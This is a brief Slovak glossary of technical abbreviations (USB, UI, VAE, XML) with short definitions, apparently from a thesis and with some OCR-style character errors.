Universal Serial Bus — Standard na prepojovanie periférii v PC

User Interface — uZzivatel'ské rozhranie

Variational Auto Encoder — architektra umelej neuronovej siete

Extensible Markup Language — znackovaci jazyk, ktory poskytuje pravidla na

definovanie akychkol'vek udajov
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